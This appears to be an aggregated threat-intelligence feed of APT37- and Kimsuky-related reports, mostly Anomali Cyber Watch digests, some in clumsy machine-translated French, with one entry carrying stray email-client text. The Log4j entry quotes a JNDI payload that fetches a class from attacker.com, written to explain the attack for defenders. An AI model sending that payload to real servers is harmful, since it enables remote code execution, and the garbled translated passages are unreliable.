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| Src | Date (GMT) | Titre | Description | Tags | Stories | Notes |
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2024-04-16 06:00:54 | De l'ingénierie sociale aux abus DMARC: Ta427 \\'s Art of Information Gathering From Social Engineering to DMARC Abuse: TA427\\'s Art of Information Gathering (lien direct) |
Key takeaways TA427 regularly engages in benign conversation starter campaigns to establish contact with targets for long-term exchanges of information on topics of strategic importance to the North Korean regime. In addition to using specially crafted lure content, TA427 heavily leverages think tank and non-governmental organization-related personas to legitimize its emails and increase the chances that targets will engage with the threat actor. To craftily pose as its chosen personas, TA427 uses a few tactics including DMARC abuse in concert with free email addresses, typosquatting, and private email account spoofing. TA427 has also incorporated web beacons for initial reconnaissance of its targets, establishing basic information like that the email account is active. Overview Proofpoint researchers track numerous state-sponsored and state-aligned threat actors. TA427 (also known as Emerald Sleet, APT43, THALLIUM or Kimsuky), a Democratic People\'s Republic of Korea (DPRK or North Korea) aligned group working in support of the Reconnaissance General Bureau, is particularly prolific in email phishing campaigns targeting experts for insight into US and the Republic of Korea (ROK or South Korea) foreign policy. Since 2023, TA427 has directly solicited foreign policy experts for their opinions on nuclear disarmament, US-ROK policies, and sanction topics via benign conversation starting emails. In recent months, Proofpoint researchers have observed (Figure 1) a steady, and at times increasing, stream of this activity. While our researchers have consistently observed TA427 rely on social engineering tactics and regularly rotating its email infrastructure, in December 2023 the threat actor began to abuse lax Domain-based Message Authentication, Reporting and Conformance (DMARC) policies to spoof various personas and, in February 2024, began incorporating web beacons for target profiling. It is this initial engagement, and the tactics successfully leveraged by TA427, which this blog is focused on. Figure 1. Volume of TA427 phishing campaigns observed between January 2023 and March 2024. Social engineering TA427 is a savvy social engineering expert whose campaigns are likely in support of North Korea\'s strategic intelligence collection efforts on US and ROK foreign policy initiatives. Based on the targets identified and the information sought, it is believed that TA427\'s goal is to augment North Korean intelligence and inform its foreign policy negotiation tactics (example Figure 2). TA427 is known to engage its targets for extended periods of time through a series of benign conversations to build a rapport with targets that can occur over weeks to months. They do so by constantly rotating which aliases are used to engage with the targets on similar subject matter. Figure 2. Example of TA427 campaign focused on US policy during an election year. Using timely, relevant lure content (as seen in Figure 3) customized for each victim, and often spoofing individuals in the DPRK research space with whom the victim is familiar to encourage engagement, targets are often requested to share their thoughts on these topics via email or a formal research paper or article. Malware or credential harvesting are never directly sent to the targets without an exchange of multiple messages, and based on Proofpoint visibility, rarely utilized by the threat actor. It is possible that TA427 can fulfill its intelligence requirements by directly asking targets for their opinions or analysis rather than from an infection. Additionally, insight gained from the correspondence is likely used to improve targeting of the victim organization and establish rapport for later questions and engagement. Figure 3. Timeline of real-world events based on international press reporting, side-by-side with Proofpoint observed subject lures. Lure content often includes invitations to attend events about North Korean policies regarding international affairs, questions regarding topics such as how deterr | Malware Tool Threat Conference | APT 37 APT 43 | ★★ |
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2023-05-09 20:02:00 | Anomali Cyber Watch: l'environnement virtuel personnalisé cache Fluorshe Anomali Cyber Watch: Custom Virtual Environment Hides FluHorse, BabyShark Evolved into ReconShark, Fleckpe-Infected Apps Add Expensive Subscriptions (lien direct) |
The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: APT, Defense evasion, Infostealers, North Korea, Spearphishing, and Typosquatting. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity. 
Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed.
Trending Cyber News and Threat Intelligence
Deconstructing Amadey’s Latest Multi-Stage Attack and Malware Distribution
(published: May 5, 2023)
McAfee researchers have detected a multi-stage attack that starts with a trojanized wextract.exe, Windows executable used to extract files from a cabinet (CAB) file. It was used to deliver the AgentTesla, Amadey botnet, LockBit ransomware, Redline Stealer, and other malicious binaries. To avoid detection, the attackers use obfuscation and disable Windows Defender through the registry thus stopping users from turning it back on through the Defender settings.
Analyst Comment: Threat actors are always adapting to the security environment to remain effective. New techniques can still be spotted with behavioral analysis defenses and social engineering training. Users should report suspicious files with double extensions such as .EXE.MUI. Indicators associated with this campaign are available in the Anomali platform and users are advised to block these on their infrastructure.
MITRE ATT&CK: [MITRE ATT&CK] T1562.001: Disable or Modify Tools | [MITRE ATT&CK] T1555 - Credentials From Password Stores | [MITRE ATT&CK] T1486: Data Encrypted for Impact | [MITRE ATT&CK] T1027 - Obfuscated Files Or Information
Tags: malware:Amadey, malware-type:Botnet, malware:RedLine, malware:AgentTesla, malware-type:Infostealer, malware:LockBit, malware-type:Ransomware, abused:Wextract.exe, file-type:CAB, file-type:EXE, file-type:MUI, target-program:Windows Defender, target-system:Windows
Eastern Asian Android Assault – FluHorse
(published: May 4, 2023)
Active since May 2022, a newly-detected Android stealer dubbed FluHorse spreads mimicking popular apps or as a fake dating application. According to Check Point researchers, FluHorse was targeting East Asia (Taiwan and Vietnam) while remaining undetected for months. This stealthiness is achieved by sticking to minimal functions while also relying on a custom virtual machine that comes with the Flutter user interface software development kit. FluHorse is being distributed via emails that prompt the recipient to install the app and once installed, it asks for the user’s credit card or banking data. If a second factor authentication is needed to commit banking fraud, FluHorse tells the user to wait for 10-15 minutes while intercepting codes by installing a listener for all incoming SMS messages.
Analyst Comment: FluHorse\'s ability to remain undetected for months makes it a dangerous threat. Users should avoid installing applications following download links received via email or other messaging. Verify the app authenticity on the official com |
Malware Tool Threat | APT 37 APT 43 | ★★★ |
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2023-05-01 23:16:00 | Anomali Cyber Watch: APT37 adopte les fichiers LNK, Charming Kitten utilise le bordereau d'implant Bellaciao, le cryptage de remappage d'octet unique Vipersoftx InfostEaler Anomali Cyber Watch: APT37 Adopts LNK Files, Charming Kitten Uses BellaCiao Implant-Dropper, ViperSoftX Infostealer Unique Byte Remapping Encryption (lien direct) |
Les diverses histoires de l'intelligence des menaces dans cette itération de l'anomali cyber watch discutent les sujets suivants: apt, Remapping, Cloud C2s, Infostalers, Iran, Corée du Nord, Rats, et vulnérabilités .Les CIO liés à ces histoires sont attachés à Anomali Cyber Watch et peuvent être utilisés pour vérifier vos journaux pour une activité malveillante potentielle.
Figure 1 - Diagrammes de résumé du CIO.Ces graphiques résument les CIO attachés à ce magazine et donnent un aperçu des menaces discutées.
Cyber News et Intelligence des menaces
Réaction en chaîne: Rokrat & rsquo; s.Lien manquant
(Publié: 1er mai 2023)
Depuis 2022, le groupe parrainé par le Nord-Korea APT37 (Group123, Ricochet Chollima) a principalement changé ses méthodes de livraison de Maldocs pour cacher des charges utiles à l'intérieur des fichiers LNK surdimensionnés.Vérifier les chercheurs a identifié plusieurs chaînes d'infection utilisées par le groupe de juillet 2022 à avril 2023. Celles-ci ont été utilisées pour livrer l'un des outils personnalisés de l'APT37 (Goldbackdoor et Rokrat), ou le malware de marchandises Amadey.Tous les leurres étudiés semblent cibler des personnes coréennes avec des sujets liés à la Corée du Sud.
Commentaire de l'analyste: Le passage aux chaînes d'infection basées sur LNK permet à APT37 de l'interaction utilisateur moins requise car la chaîne peut être déclenchée par un simple double clic.Le groupe continue l'utilisation de Rokrat bien triés qui reste un outil furtif avec ses couches supplémentaires de cryptage, le cloud C2 et l'exécution en mémoire.Les indicateurs associés à cette campagne sont disponibles dans la plate-forme Anomali et il est conseillé aux clients de les bloquerleur infrastructure.
mitre att & amp; ck: [mitre att & amp; ck] t1059.001: Powershell | [mitre att & amp; ck] t1055 - injection de processus | [mitre att & amp; ck] t1027 - fichiers ou informations obscurcis | [mitre att & amp; ck] t1105 - transfert d'outils d'entrée | [mitre att & amp; ck] t1204.002 - Exécution des utilisateurs: fichier malveillant | [mitre att & amp; ck] t1059.005 - commande et script interprète: visuel basique | [mitre att & amp; ck] t1140 - désobfuscate / décode ou informations | [mitre att & amp; ck] T1218.011 - Exécution par proxy binaire signée: Rundll32
Tags: malware: Rokrat, mitre-software-id: s0240, malware-Type: Rat, acteur: Groupe123, mitre-groupe: APT37, acteur: Ricochet Chollima, Country source: Corée du Nord, Country source: KP, Cible-Country: Corée du Sud, Cible-Country: KR, Type de fichier: Zip, déposer-Type: Doc, Fichier-Type: ISO, Fichier-Type: LNK, File-Type: Bat, File-Type: EXE, Fichier-Type: VBS, malware: Amadey,MALWARE: Goldbackdoor, Type de logiciels malveillants: porte dérobée, abusée: Pcloud, abusé: Cloud Yandex, abusé: OneDrive, abusé: & # 8203; & # 8203; Processeur de mots Hangul, abusé: themida, système cible: Windows
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Ransomware Malware Tool Vulnerability Threat Prediction Cloud | APT 37 APT 37 APT 35 | ★★ |
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2023-03-28 21:28:00 | Anomali Cyber Watch: Takeover comptable, APT, Banking Trojans, Chine, Cyberespionage, Inde, Malspam, Corée du Nord, Phishing, Skimmers, Ukraine et Vulnérabilités [Anomali Cyber Watch: Account takeover, APT, Banking trojans, China, Cyberespionage, India, Malspam, North Korea, Phishing, Skimmers, Ukraine, and Vulnerabilities] (lien direct) | Aucun Sélectionné Sauter vers le contenu à l'aide d'Anomali Inc Mail avec les lecteurs d'écran Yury 1 sur 52 ACW CONSEIL POLOZOV ACCORDS MAR 27 MAR, 2023, 10: 11 & # 8239; AM (1 jour) pour moi, marketing, recherche Cher Jarom etMarketing, ACW est prêt https://ui.thereatstream.com/tip/6397663 - Yury Polozov |Analyste de renseignement sur la menace de Sr. |ATR |www.anomali.com Téléphone: + 1-347-276-5554 3 pièces jointes et taureau;Scanné par gmail
& nbsp;
Anomali Cyber Watch: Spies amer sur l'énergie nucléaire chinoise, Kimsuky prend le contrôle de Google pour infecter les appareils Android connectés, les mauvaises cibles magiques occupées des parties de l'Ukraine, et plus encore.
Les diverses histoires de l'intelligence des menaces dans cette itération de l'anomali cyber watch discutent des sujets suivants: Takeover, APT, Banking Trojans, China, Cyberspionage, Inde, Malspam, North Corée, Phishing, Skimmers, Ukraine, et vulnérabilités .Les CIO liés à ces histoires sont attachés à Anomali Cyber Watch et peuvent être utilisés pour vérifier vos journaux pour une activité malveillante potentielle.
Figure 1 - Diagrammes de résumé du CIO.Ces graphiques résument les CIO attachés à ce magazine et donnent un aperçu des menaces discutées.
Cyber News et Intelligence des menaces
campagne de phishingCible l'industrie chinoise de l'énergie nucléaire
(Publié: 24 mars 2023)
Actif Depuis 2013, le groupe amer (T-APT-17) est soupçonné d'être parrainé par le gouvernement indien.Des chercheurs Intezer ont découvert une nouvelle campagne amère ciblant les universitaires, le gouvernement et d'autres organisations de l'industrie de l'énergie nucléaire en Chine.Les techniques sont cohérentes avec les campagnes amères observées précédemment.L'intrusion commence par un e-mail de phishing censé provenir d'un véritable employé de l'ambassade du Kirghizistan.Les pièces jointes malveillantes observées étaient soit des fichiers HTML (CHM) compilés à Microsoft, soit des fichiers Microsoft Excel avec des exploits d'éditeur d'équation.L'objectif des charges utiles est de créer de la persistance via des tâches planifiées et de télécharger d'autres charges utiles de logiciels malveillants (les campagnes amères précédentes ont utilisé le voleur d'identification du navigateur, le voleur de fichiers, le keylogger et les plugins d'outils d'accès à distance).Les attaquants se sont appuyés sur la compression LZX et la concaténation des cordes pour l'évasion de détection.
Commentaire de l'analyste: De nombreuses attaques avancées commencent par des techniques de base telles que des e-mails injustifiés avec une pièce jointe qui oblige l'utilisateur à l'ouvrir.Il est important d'enseigner l'hygiène de base en ligne à vos utilisateurs et la sensibilisation au phishing.Il est sûr de recommander de ne jamais ouvrir de fichiers CHM joints et de garder votre bureau MS Office entièrement mis à jour.Tous les indicateurs connus associés à cette campagne amère sont disponibles dans la plate-forme Anomali et il est conseillé aux clients de les bloquer sur leur infrastructure.
mitre att & amp; ck: [mitre att & amp; ck] t1589.002 - rassembler l'identité des victimesInformations: Adresses e-mail | [mitre att & amp; ck] t1566.001 -Phishing: attachement de espionnage | [mitre at |
Malware Tool Threat Cloud | APT 37 APT 43 | ★★ |
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2022-08-30 15:01:00 | Anomali Cyber Watch: First Real-Life Video-Spoofing Attack, MagicWeb Backdoors via Non-Standard Key Identifier, LockBit Ransomware Blames Victim for DDoSing Back, and More (lien direct) | The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: Authentication, DDoS, Fingerprinting, Iran, North Korea, Ransomware, and Russia. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity.
Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed.
Trending Cyber News and Threat Intelligence
LastPass Hackers Stole Source Code
(published: August 26, 2022)
In August 2022, an unidentified threat actor gained access to portions of the password management giant LastPass development environment. LastPass informed that it happened through a single compromised developer account and the attacker took portions of source code and some proprietary LastPass technical information. The company claims that this incident did not affect customer data or encrypted password vaults.
Analyst Comment: This incident doesn’t seem to have an immediate impact on LastPass users. Still, organizations relying on LastPass should raise the concern in their risk assessment since “white-box hacking” (when source code of the attacking system is known) is easier for threat actors. Organizations providing public-facing software should take maximum measures to block threat actors from their development environment and establish robust and transparent security protocols and practices with all third parties involved in their code development.
Tags: LastPass, Password manager, Data breach, Source code
Mercury Leveraging Log4j 2 Vulnerabilities in Unpatched Systems to Target Israeli
(published: August 25, 2022)
Starting in July 2022, a new campaign by Iran-sponsored group Static Kitten (Mercury, MuddyWater) was detected targeting Israeli organizations. Microsoft researchers detected that this campaign was leveraging exploitation of Log4j 2 vulnerabilities (CVE-2021-45046 and CVE-2021-44228) in SysAid applications (IT management tools). For persistence Static Kitten was dropping webshells, creating local administrator accounts, stealing credentials, and adding their tools in the startup folders and autostart extensibility point (ASEP) registry keys. Overall the group was heavily using various open-source and built-in operating system tools: eHorus remote management software, Ligolo reverse tunneling tool, Mimikatz credential theft tool, PowerShell programs, RemCom remote service, Venom proxy tool, and Windows Management Instrumentation (WMI).
Analyst Comment: Network defenders should monitor for alerts related to web shell threats, suspicious RDP sessions, ASEP registry anomaly, and suspicious account creation. Similarly, SysAid users can monitor for webshells and abnormal processes related to SysAisServer instance. Even though Static Kitten was observed leveraging the Log4Shell vulnerabilities in the past (targeting VMware apps), most of their attacks still start with spearphishing, often from a compromised email account.
MITRE ATT&CK: [MITRE ATT&CK] Exploit Public-Facing Application - T1190 | [MITRE ATT&CK] OS Credential Dumping - T1003 | [MITRE ATT&CK] Phishing - T1566 | |
Ransomware Hack Tool Vulnerability Threat Guideline Cloud | APT 37 APT 29 LastPass | |
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2022-08-02 15:17:00 | Anomali Cyber Watch: Velvet Chollima Steals Emails from Browsers, Austrian Mercenary Leverages Zero-Days, China-Sponsored Group Uses CosmicStrand UEFI Firmware Rootkit, and More (lien direct) | The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: APT, Cyber mercenaries, Phishing, Rootkits, Spyware, and Vulnerabilities. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity.
Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed.
Trending Cyber News and Threat Intelligence
SharpTongue Deploys Clever Mail-Stealing Browser Extension “SHARPEXT”
(published: July 28, 2022)
Volexity researchers discovered SharpExt, a new malicious browser app used by the North-Korea sponsored Velvet Chollima (Kimsuky, SharpTongue, Thallium) group. SharpExt inspects and exfiltrates data from a victim's webmail (AOL or Gmail) account as they browse it. Velvet Chollima continues to add new features to the app, the latest known version (3.0) supports three browsers: Microsoft Edge, Google Chrome, and Whale, the latter almost exclusively used in South Korea. Following the initial compromise, Velvet Chollima deploy SharpExt and to avoid warning the victim they manually exfiltrate settings files to change the settings and generate a valid "super_mac" security check value. They also hide the newly opened DevTools window and any other warning windows such as a warning regarding extensions running in developer mode.
Analyst Comment: Velvet Chollima is known for its tactic of deploying malicious browser extensions, but in the past it was concentrating on stealing credentials instead of emails. The group continues aggressive cyberespionage campaigns exfiltrating military and industrial technologies from Europe, South Korea, and the US. Network defenders should monitor for suspicious instances of PowerShell execution, as well as for traffic to and from known Velvet Chollima infrastructure (available in Anomali Match).
MITRE ATT&CK: [MITRE ATT&CK] Browser Extensions - T1176 | [MITRE ATT&CK] Email Collection - T1114 | [MITRE ATT&CK] Command and Scripting Interpreter - T1059 | [MITRE ATT&CK] Hide Artifacts - T1564
Tags: SharpExt, Velvet Chollima, Kimsuky, SharpTongue, Thallium, APT, North Korea, source-country:KP, South Korea, target-country:KR, USA, target-country:US, target-region:Europe, AOL, Gmail, Edge, Chrome, Whale, PowerShell, VBS, Browser extension
Untangling KNOTWEED: European Private-Sector Offensive Actor Using 0-Day Exploits
(published: July 27, 2022)
Microsoft researchers detail activity of DSIRF, Austrian private-sector offensive actor (PSOA). In 2021, this actor, tracked as Knotweed, used four Windows and Adobe 0-day exploits. In 2022, DSIRF was exploiting another Adobe Reader vulnerability, CVE-2022-22047, which was patched in July 2022. DSIRF attacks rely on their malware toolset called Subzero. The initial downloader shellcode is executed from either the exploit chains or malicious Excel documents. It downloads a JPG image file with extra encrypted data, extracts, decrypts and loads to the memory the Corelump memory-only infostealer. For persistence, Corelump creates trojanized copies of legitimate Windows DLLs that se |
Malware Tool Vulnerability Threat Patching Guideline Cloud | APT 37 APT 28 | |
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2022-06-24 15:00:00 | What is iOS Hermit spyware? (lien direct) | >iOS Hermit spyware is a commercial-grade surveillance tool derived from a known Android surveillance tool. Learn more + how to stay safe. | Tool Cloud | APT 37 | |
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2022-05-03 16:31:00 | Anomali Cyber Watch: Time-to-Ransom Under Four Hours, Mustang Panda Spies on Russia, Ricochet Chollima Sends Goldbackdoor to Journalists, and More (lien direct) | The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: APT, China, Cyberespionage, LNK files, Malspam, North Korea, Phishing, Ransomware, and Vulnerabilities. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity.
Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed.
Trending Cyber News and Threat Intelligence
A Lookback Under the TA410 Umbrella: Its Cyberespionage TTPs and Activity
(published: April 28, 2022)
ESET researchers found three different teams under China-sponsored umbrella cyberespionage group TA410, which is loosely linked to Stone Panda (APT10, Chinese Ministry of State Security). ESET named these teams FlowingFrog, JollyFrog, and LookingFrog. FlowingFrog uses the Royal Road RTF weaponizer described by Anomali in 2019. Infection has two stages: the Tendyron implant followed by a very complex FlowCloud backdoor. JollyFrog uses generic malware such as PlugX and QuasarRAT. LookingFrog’s infection stages feature the X4 backdoor followed by the LookBack backdoor. Besides using different backdoors and exiting from IP addresses located in three different districts, the three teams use similar tools and similar tactics, techniques, and procedures (TTPs).
Analyst Comment: Organizations should keep their web-facing applications such as Microsoft Exchange or SharePoint secured and updated. Educate your employees on handling suspected spearphishing attempts. Defense-in-depth (layering of security mechanisms, redundancy, fail-safe defense processes) is the best way to ensure safety from APTs, including a focus on both network and host-based security. Prevention and detection capabilities should also be in place.
MITRE ATT&CK: [MITRE ATT&CK] Exploit Public-Facing Application - T1190 | [MITRE ATT&CK] Phishing - T1566 | [MITRE ATT&CK] Native API - T1106 | [MITRE ATT&CK] Shared Modules - T1129 | [MITRE ATT&CK] Exploitation for Client Execution - T1203 | [MITRE ATT&CK] Inter-Process Communication - T1559 | [MITRE ATT&CK] Windows Management Instrumentation - T1047 | [MITRE ATT&CK] Scheduled Task - T1053 | [MITRE ATT&CK] Server Software Component - T1505 | [MITRE ATT&CK] Create or Modify System Process - T1543 | [MITRE ATT&CK] Obfuscated Files or Information - T1027 | [MITRE ATT&CK] Masquerading - T1036 | [MITRE ATT&CK] Masquerading - T1036 | [MITRE ATT&CK] Rootkit - T1014 | [MITRE ATT&CK] Process Injection - T1055 | |
Ransomware Malware Tool Vulnerability Threat Guideline Cloud | APT 37 APT 10 APT 10 | |
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2021-12-15 16:00:00 | Anomali Cyber Watch: Apache Log4j Zero-Day Exploit, Google Fighting Glupteba Botnet, Vixen Panda Targets Latin America and Europe, and More (lien direct) | The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: Apache, Botnets, China, Espionage, Java, Russia, USB, and Vulnerabilities. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity.
Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed.
Trending Cyber News and Threat Intelligence
Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit
(published: December 10, 2021)
A critical vulnerability, registered as CVE-2021-44228, has been identified in Apache Log4j 2, which is an open source Java package used to enable logging in. The Apache Software Foundation (ASF) rates the vulnerability as a 10 on the common vulnerability scoring system (CVSS) scale. Cisco Talos has observed malicious activity related to CVE-2021-44228 beginning on December 2, 2021. This vulnerability affects millions of users and exploitation proof-of-concept code exists via LunaSec explains how to exploit it in five simple steps. These include: 1: Data from the User gets sent to the server (via any protocol). 2: The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server). 3: The Log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via "Java Naming and Directory Interface" (JNDI). 4: This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process. 5: This injected payload triggers a second stage, and allows an attacker to execute arbitrary code.
Analyst Comment: Log4j version 2.15.0 has been released to address this vulnerability, however, it only changes a default setting (log4j2.formatMsgNoLookups) from false to true. This means that if the setting is set back to false, Log4j will again be vulnerable to exploitation. The initial campaigns could have been detected by filtering on certain keywords such as "ldap", "jndi", but this detection method is easily bypassable.
MITRE ATT&CK: [MITRE ATT&CK] Exploit Public-Facing Application - T1190 | [MITRE ATT&CK] Exploitation for Client Execution - T1203 | [MITRE ATT&CK] Command and Scripting Interpreter - T1059 | [MITRE ATT&CK] Remote Services - T1021 | [MITRE ATT&CK] OS Credential Dumping - T1003 | [MITRE ATT&CK] Resource Hijacking - T1496 | [MITRE ATT&CK] Network Denial of Service - T1498
Tags: Log4j, CVE-2021-44228, Log4j2, Log4Shell, Apache, Zero-day, Java, Jndi, Class file
Over a Dozen Malicious NPM Packages Caught Hijacking Discord Servers
(published: December 8, 2021)
Researchers from the DevOps firm JFrog has found at least 17 malicious packages on the open source npm Registry for JavaScript. The names of the packages are: prerequests-xcode (version 1.0.4), discord-selfbot-v14 (version 12.0.3), discord-lofy (version 11.5.1), discordsystem (version 11.5.1), discord-vilao (version 1.0.0), fix-error (version 1 |
Malware Tool Vulnerability Threat Cloud | APT 37 APT 29 APT 15 APT 15 APT 25 | |
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2021-12-07 16:04:00 | Anomali Cyber Watch: Nginx Trojans, BlackByte Ransomware, Android Malware Campaigns, and More (lien direct) | The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: APT, Ransomware, Maldocs, E-Commerce, Phishing, and Vulnerabilities. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity.
Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed.
Trending Cyber News and Threat Intelligence
New Malware Hides as Legit Nginx Process on E-Commerce Servers
(published: December 2, 2021)
Researchers at Sansec discovered NginRAT, a new malware variant that has been found on servers in the US, Germany, and France. Put in place to intercept credit card payments, this malware impersonates legitimate nginx processes which makes it very difficult to detect. NginRAT has shown up on systems that were previously infected with CronRAT, a trojan that schedules processes to run on invalid calendar days. This is used as a persistence technique to ensure that even if a malicious process is killed, the malware has a way to re-infect the system.
Analyst Comment: Threat actors are always adapting to the security environment to remain effective. New techniques can still be spotted with behavioural analysis defenses and social engineering training. Ensure that your company's firewall blocks all entry points for unauthorized users, and maintain records of how normal traffic appears on your network. Therefore, it will be easier to spot unusual traffic and connections to and from your network to potentially identify malicious activity.
MITRE ATT&CK: [MITRE ATT&CK] Obfuscated Files or Information - T1027 | [MITRE ATT&CK] Shared Modules - T1129
Tags: NginRAT, CronRAT, Nginx, North America, EU
How Phishing Kits Are Enabling A New Legion Of Pro Phishers
(published: December 2, 2021)
Phishing kits, such as XBALTI are seeing increased use against financial institutions. Mixing email with SMS messages, attackers are targeting companies such as Charles Schwab, J.P. Morgan Chase, RBC Royal Bank and Wells Fargo. Victims are targeted and asked to verify account details. The attack is made to appear legitimate by redirecting to the real sites after information has been harvested.
Analyst Comment: With financial transactions increasing around this time of year, it is likely financially themed malspam and phishing emails will be a commonly used tactic. Therefore, it is crucial that your employees are aware of their financial institution's policies regarding electronic communication. If a user is concerned due to the scare tactics often used in such emails, they should contact their financial institution via legitimate email or another form of communication. Requests to open a document in a sense of urgency and poor grammar are often indicative of malspam or phishing attacks. Said emails should be properly avoided and reported to the appropriate personnel.
Tags: Phishing, XBATLI
Injection is the New Black: Novel RTF Template Inject Technique Poised for Widespread Adoption Beyond APT Actors
(pub |
Ransomware Malware Tool Vulnerability Threat Cloud | APT 37 | ★★★★ |
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2021-08-24 17:11:00 | Anomali Cyber Watch: ProxyShell Being Exploited to Install Webshells and Ransomware, Neurevt Trojan Targeting Mexican Users, Secret Terrorist Watchlist Exposed, and More (lien direct) | The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: APT37 (InkySquid), BlueLight, Ransomware, T-Mobile Data Breach, Critical Vulnerabilities, IoT, Kalay, Neurevt, and ProxyShell. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity.
Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Current Anomali ThreatStream users can query these indicators under the “anomali cyber watch” tag.
Trending Cyber News and Threat Intelligence
Microsoft Exchange Servers Still Vulnerable to ProxyShell Exploit
(published: August 23, 2021)
Despite patches a collection of vulnerabilities (ProxyShell) discovered in Microsoft Exchange being available in the July 2021 update, researchers discovered nearly 2,000 of these vulnerabilities have recently been compromised to host webshells. These webshells allow for attackers to retain backdoor access to compromised servers for further exploitation and lateral movement into the affected organizations. Researchers believe that these attacks may be related to the recent LockFile ransomware attacks.
Analyst Comment: Organizations running Microsoft Exchange are strongly encouraged to prioritize updates to prevent ongoing exploitation of these vulnerabilities. In addition, a thorough investigation to discover and remove planted webshells should be undertaken as the patches will not remove planted webshells in their environments. A threat intelligence platform (TIP) such as Anomali Threatstream can be a valuable tool to assist organizations ingesting current indicators of compromise (IOCs) and determine whether their Exchange instances have been compromised.
MITRE ATT&CK: [MITRE ATT&CK] Exploitation for Client Execution - T1203 | [MITRE ATT&CK] Web Shell - T1100 | [MITRE ATT&CK] Hidden Files and Directories - T1158 | [MITRE ATT&CK] Source - T1153
Tags: CVE-2021-34473, CVE-2021-34523, CVE-2021-31207, Exchange, ProxyShell, backdoor
LockFile: Ransomware Uses PetitPotam Exploit to Compromise Windows Domain Controllers
(published: August 20, 2021)
A new ransomware family, named Lockfile by Symantec researchers, has been observed on the network of a US financial organization. The first known instance of this ransomware was July 20, 2021, and activity is ongoing. This ransomware has been seen largely targeting organizations in a wide range of industries across the US and Asia. The initial access vector remains unknown at this time, but the ransomware leverages the incompletely patched PetitPotam vulnerability (CVE-2021-36942) in Microsoft's Exchange Server to pivot to Domain Controllers (DCs) which are then leveraged to deploy ransomware tools to devices that connect to the DC. The attackers appear to remain resident on the network for several |
Ransomware Malware Tool Vulnerability Threat Patching Cloud | APT 37 | |
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2021-01-08 01:54:44 | ALERT: North Korean hackers targeting South Korea with RokRat Trojan (lien direct) | A North Korean hacking group has been found deploying the RokRat Trojan in a new spear-phishing campaign targeting the South Korean government.
Attributing the attack to APT37 (aka Starcruft, Ricochet Chollima, or Reaper), Malwarebytes said it identified a malicious document last December that, when opened, executes a macro in memory to install the aforementioned remote access tool (RAT).
"The |
Tool Cloud | APT 37 |
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